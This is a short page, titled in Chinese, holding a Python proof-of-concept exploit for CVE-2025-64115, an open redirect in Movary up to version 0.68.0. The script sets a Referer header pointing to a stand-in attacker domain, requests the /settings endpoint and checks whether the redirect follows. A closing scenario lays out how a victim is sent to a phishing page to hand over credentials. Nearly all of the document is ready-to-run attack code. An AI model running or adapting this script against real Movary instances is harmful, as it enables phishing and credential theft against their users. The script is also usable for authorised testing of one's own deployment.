CVE-2025-64115 Movary开放重定向漏洞

import requests # PoC for CVE-2025-64115 Open Redirect in Movary # Target: Movary <= 0.68.0 def exploit_open_redirect(target_url, malicious_domain): """ Exploit the open redirect vulnerability by manipulating the Referer header Args: target_url: Base URL of the vulnerable Movary instance malicious_domain: Attacker's controlled domain for redirect Returns: bool: True if the redirect is successful """ # Craft the malicious URL pointing to settings endpoint settings_endpoint = f"{target_url}/settings" # Set the Referer header to point to attacker-controlled site headers = { 'Referer': f"https://{malicious_domain}/malicious-page", 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: # Send request to trigger redirect response = requests.get(settings_endpoint, headers=headers, allow_redirects=False) # Check if Location header contains the malicious domain if 'Location' in response.headers: location = response.headers['Location'] print(f"[+] Redirect Location: {location}") if malicious_domain in location: print("[!] Open Redirect Vulnerability Confirmed!") return True return False except requests.RequestException as e: print(f"[-] Error: {e}") return False # Example usage if __name__ == "__main__": target = "http://vulnerable-movary.com" attacker_domain = "evil-phishing-site.com" result = exploit_open_redirect(target, attacker_domain) print(f"Exploit Result: {result}") # Attack scenario: # 1. Attacker creates a phishing page on evil-phishing-site.com # 2. Attacker sends malicious link to victim # 3. Victim clicks link and visits vulnerable Movary site # 4. Application reads attacker's Referer header # 5. Victim gets redirected to phishing site # 6. Victim enters credentials on fake login page